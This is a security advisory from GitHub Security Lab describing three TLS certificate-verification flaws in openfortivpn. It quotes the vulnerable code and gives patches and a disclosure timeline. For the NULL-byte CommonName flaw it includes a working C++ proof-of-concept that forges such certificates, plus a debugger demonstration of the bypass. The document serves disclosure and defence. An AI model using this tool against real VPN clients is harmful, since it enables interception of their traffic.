Summary
Several security issues have been found in the way openfortivpn
deals with TLS. These issues can lead to situations in which an attacker can perform a person-in-the-middle attack on clients.
Product
openfortivpn
Tested Version
All our tests were conducted on version v1.11.0
.
Details
Issue 1: TLS Certificate CommonName NULL Byte Vulnerability GSL-2020-003
(CVE-2020-7043)
When openfortivpn
is compiled against an OpenSSL
library that does not provide the function X509_check_host
(OpenSSL < 1.0.2), the client does not properly verify the servers certificate hostname. An attacker that is able to perform a person-in-the-middle attack can exploit this, via a crafted certificate, to spoof arbitrary VPN servers and intercept network traffic.
As can be seen in the following snippet, the software obtains the certificate’s CommonName
and subsequently compares it to the gateway_host
(server hostname) by using the strncasecmp
function. Unfortunately this function is not suitable for this task since a specially crafted certificate can contain NULL bytes in its CommonName
field. The strncasecmp
function will stop its comparison as soon as it encounters a NULL byte since it is a string terminator in the C programming language.
https://github.com/adrienverge/openfortivpn/blob/master/src/tunnel.c#L667-L680
#ifdef HAVE_X509_CHECK_HOST
// Use OpenSSL native host validation if v >= 1.0.2.
if (X509_check_host(cert, common_name, FIELD_SIZE, 0, NULL))
cert_valid = 1;
#else
// Use explicit CommonName check if native validation not available.
// Note: this will ignore Subject Alternative Name fields.
if (subj
&& X509_NAME_get_text_by_NID(subj, NID_commonName, common_name,
FIELD_SIZE) > 0
&& strncasecmp(common_name, tunnel->config->gateway_host,
FIELD_SIZE) == 0)
cert_valid = 1;
#endif
For example, to perform a person-in-the-middle attack on the vpn.legit.com
host, an attacker can simply create a certificate with a CommonName
consisting of vpn.legit.com\x00attacker.com
.
We have created a small tool that assists in the creation of such a certificate.
// Compiling on macOS:
// export PKG_CONFIG_PATH="/usr/local/opt/openssl@1.1/lib/pkgconfig"
// clang++ create-poisoned-certificate.cpp -o create-poisoned-certificate -Wall $(pkg-config --libs --cflags openssl)
#include <cstdio>
#include <cassert>
#include <string>
#include <iostream>
#include <openssl/pem.h>
#include <openssl/x509.h>
int main(int argc, char **argv)
{
if (argc < 3)
{
printf("Usage: %s <target_hostname> <attacker_hostname>\n", argv[0]);
return -1;
}
std::string target_hostname = argv[1];
std::string attacker_hostname = argv[2];
std::cout << "Generating a poisoned certificate:" << std::endl;
std::cout << " target -> " << target_hostname << std::endl;
std::cout << " attacker -> " << attacker_hostname << std::endl;
// Create the poisoned CommonName.
std::string common_name = target_hostname + '\x00' + attacker_hostname;
// Create a new key.
EVP_PKEY *pkey = EVP_PKEY_new();
assert(pkey && "Could not create EVP_PKEY structure.");
// Generate the key.
RSA *rsa = RSA_new();
assert(rsa && "Could not create RSA structure.");
// Generate the key.
BIGNUM *exponent = BN_new();
BN_set_word(exponent, RSA_F4);
RSA_generate_key_ex(rsa, 2048, exponent, nullptr);
// Assign it.
EVP_PKEY_assign_RSA(pkey, rsa);
// Create the certificate.
X509 *x509 = X509_new();
assert(x509 && "Could not create X509 structure.");
// Fill some required fields.
ASN1_INTEGER_set(X509_get_serialNumber(x509), 0xcafecafe);
X509_gmtime_adj(X509_get_notBefore(x509), 0);
X509_gmtime_adj(X509_get_notAfter(x509), 0xdeadbeef);
// Set the public key for our certificate.
X509_set_pubkey(x509, pkey);
// Populate the subject name.
X509_NAME *name = X509_get_subject_name(x509);
X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (unsigned char *)"GH", -1, -1, 0);
X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (unsigned char *)"GitHub Security Lab", -1, -1, 0);
X509_NAME_add_entry_by_txt(name, "CN", V_ASN1_IA5STRING, (unsigned char *)common_name.c_str(), common_name.size(), -1, 0);
// Now set the issuer name.
X509_set_issuer_name(x509, name);
// Sign the certificate.
assert(X509_sign(x509, pkey, EVP_sha1()) && "Could not sign certificate.");
// Write the private key to disk.
FILE *pkey_file = fopen("key.pem", "wb");
assert(pkey_file && "Could not open key.pem");
PEM_write_PrivateKey(pkey_file, pkey, nullptr, nullptr, 0, nullptr, nullptr);
fclose(pkey_file);
// Write the certificate to disk.
FILE *x509_file = fopen("cert.pem", "wb");
assert(x509_file && "Could not open cert.pem");
PEM_write_X509(x509_file, x509);
fclose(x509_file);
return 0;
}
By using this tool one can create a self signed certificate:
$ ./create-poisoned-certificate target.domain securitylab.github.com
Generating a poisoned certificate:
target -> target.domain
attacker -> securitylab.github.com
As demonstrated below, the CommonName
is poisoned with a null byte:
$ openssl x509 -in cert.pem -text -noout
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 3405695742 (0xcafecafe)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GH, O=GitHub Security Lab, CN=target.domain\x00securitylab.github.com
Validity
Not Before: Jan 13 16:50:18 2020 GMT
Not After : Jun 3 14:46:17 2138 GMT
Subject: C=GH, O=GitHub Security Lab, CN=target.domain\x00securitylab.github.com
As an illustration we can create a fake VPN service by using the openssl command line utilities:
$ openssl s_server -key key.pem -cert cert.pem
Using auto DH parameters
Using default temp ECDH parameters
ACCEPT
We need to simulate some kind of attack, so we have added the target domain to /etc/hosts:
$ grep target.domain /etc/hosts
127.0.0.1 target.domain
To better illustrate the issue we can connect to the server with a debugger, set a few breakpoints and inspect the contents of certain variables that are relevant to hostname validation:
$ lldb openfortivpn
(lldbinit) breakpoint set --file tunnel.c --line 677
(lldbinit) breakpoint set --file tunnel.c --line 683
(lldbinit) r target.domain:4433 -u username -p tld
Process 81513 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00000001000270fa openfortivpn`ssl_verify_cert(tunnel=0x00007ffeefbfcb80) at tunnel.c:677:6
674 if (subj
675 && X509_NAME_get_text_by_NID(subj, NID_commonName, common_name,
676 FIELD_SIZE) > 0
-> 677 && strncasecmp(common_name, tunnel->config->gateway_host,
678 FIELD_SIZE) == 0)
679 cert_valid = 1;
680 #endif
Target 0: (openfortivpn) stopped.
(lldbinit) p common_name
(char [65]) $2 = "target.domain"
(lldbinit) mem read &common_name
0x7ffeefbfc460: 74 61 72 67 65 74 2e 64 6f 6d 61 69 6e 00 73 65 target.domain.se
0x7ffeefbfc470: 63 75 72 69 74 79 6c 61 62 2e 67 69 74 68 75 62 curitylab.github
(lldbinit) p tunnel->config->gateway_host
(char [65]) $4 = "target.domain"
(lldbinit) c
Process 81513 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
frame #0: 0x000000010002715e openfortivpn`ssl_verify_cert(tunnel=0x00007ffeefbfcb80) at tunnel.c:683:6
680 #endif
681
682 // Try to validate certificate using local PKI
-> 683 if (cert_valid
684 && SSL_get_verify_result(tunnel->ssl_handle) == X509_V_OK) {
685 log_debug("Gateway certificate validation succeeded.\n");
686 ret = 0;
Target 0: (openfortivpn) stopped.
(lldbinit) p cert_valid
(int) $7 = 0x00000001
As can be seen in the previous example, the contents of the common_name
buffer are not exactly a C string, but a series of bytes that when interpreted as a C string will lead to incorrect results. In this case, the buffer contains the ASCII string target.domain
followed by a NULL byte and the rest of the domain name securitylab.github.com
. This situation makes strncasecmp
compare the wrong part of the CommonName
which leads to accepting the wrong certificate (CVE-2020-7043)
Impact
This vulnerability allows an attacker that is able to get valid certificates from a CA with a specially crafted CommonName
to perform a person-in-the-middle attack against VPN clients.
Remediation
Modern versions of OpenSSL have implemented hostname validation therefore removing the necessity of custom solutions. Unfortunately on older versions of OpenSSL, a custom solution is needed.
We suggest the developers follow the guidelines available in the following links:
- https://wiki.openssl.org/index.php/Hostname_validation
- https://github.com/iSECPartners/ssl-conservatory/blob/master/openssl/openssl_hostname_validation.c
Patch can be found here https://github.com/adrienverge/openfortivpn/commit/6328a070ddaab16faaf008cb9a8a62439c30f2a8#diff-5df244ea721353ca452473c7213d3f27
Issue 2: Incorrect use of X509_check_host GSL-2020-004
(CVE-2020-7041)
The X509_check_host
function is part of a collection of functions used to match certain properties of certificates. They are used to check whether a certificate matches a given host name, email address, or IP address and are available since OpenSSL 1.0.2. In particular, the X509_check_host
function checks if the certificate’s Subject Alternative Name
or CommonName
matches the specified host name.
int X509_check_host(X509 *, const char *name, size_t namelen, unsigned int flags, char **peername);
These functions return 1
for a successful match, 0
for a failed match, -1
for an internal error, or -2
if the input is malformed.
https://github.com/adrienverge/openfortivpn/blob/master/src/tunnel.c#L667-L680
#ifdef HAVE_X509_CHECK_HOST
// Use OpenSSL native host validation if v >= 1.0.2.
if (X509_check_host(cert, common_name, FIELD_SIZE, 0, NULL))
cert_valid = 1;
#else
// Use explicit CommonName check if native validation not available.
// Note: this will ignore Subject Alternative Name fields.
if (subj
&& X509_NAME_get_text_by_NID(subj, NID_commonName, common_name,
FIELD_SIZE) > 0
&& strncasecmp(common_name, tunnel->config->gateway_host,
FIELD_SIZE) == 0)
cert_valid = 1;
#endif
Openfortivpn unfortunately incorrectly uses this function. If an attacker can force the function to fail with a negative value, the if condition will evaluate to true, setting the value of cert_valid
to one (valid). Making the API return a negative value is a trivial thing since any certificate with a null byte on its SAN or CN will make it return -2. (CVE-2020-7041)
Impact
This vulnerability allows an attacker that is able to get valid certificates from a CA with a specially crafted CommonName
to perform a person-in-the-middle attack against VPN clients.
Remediation
Similar to GHSL-2020-003
. Patch can be found here https://github.com/adrienverge/openfortivpn/commit/9eee997d599a89492281fc7ffdd79d88cd61afc3#diff-5df244ea721353ca452473c7213d3f27
Issue 3: Use of uninitialized memory during hostname verification GSL-2020-003
(CVE-2020-7042)
Instead of passing tunnel->config->gateway_host
to X509_check_host
, the ssl_verify_cert
function passes the common_name
string buffer, which at the point of the X509_check_host
call is an uninitialized buffer. This leads to the application never accepting valid certificates (only malformed ones). (CVE-2020-7042)
static int ssl_verify_cert(struct tunnel *tunnel)
{
char common_name[FIELD_SIZE + 1];
SSL_set_verify(tunnel->ssl_handle, SSL_VERIFY_PEER, NULL);
X509 *cert = SSL_get_peer_certificate(tunnel->ssl_handle);
if (cert == NULL) {
log_error("Unable to get gateway certificate.\n");
return 1;
}
subj = X509_get_subject_name(cert);
#ifdef HAVE_X509_CHECK_HOST
// Use OpenSSL native host validation if v >= 1.0.2.
if (X509_check_host(cert, common_name, FIELD_SIZE, 0, NULL))
cert_valid = 1;
#else
// Use explicit CommonName check if native validation not available.
// Note: this will ignore Subject Alternative Name fields.
if (subj
&& X509_NAME_get_text_by_NID(subj, NID_commonName, common_name,
FIELD_SIZE) > 0
&& strncasecmp(common_name, tunnel->config->gateway_host,
FIELD_SIZE) == 0)
cert_valid = 1;
#endif
Impact
The software incorrectly validates the identity of a certificate.
Remediation
Use the proper hostname variable to check against the certificate identity. Patch can be found https://github.com/adrienverge/openfortivpn/commit/9eee997d599a89492281fc7ffdd79d88cd61afc3#diff-5df244ea721353ca452473c7213d3f27
Coordinated Disclosure Timeline
This report was subject to our coordinated disclosure policy.
- 01/19/2020: Report sent to Vendor
- 01/19/2020: Vendor acknowledged report
- 02/21/2020: Vendor proposed fixes
- 02/24/2020: Fixes reviewed and verified
- 02/26/2020: Report published to public
-
Credit
This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).
Contact
You can contact the GHSL team at securitylab@github.com
, please include the GHSL-YEAR-ID
in any communication regarding this issue.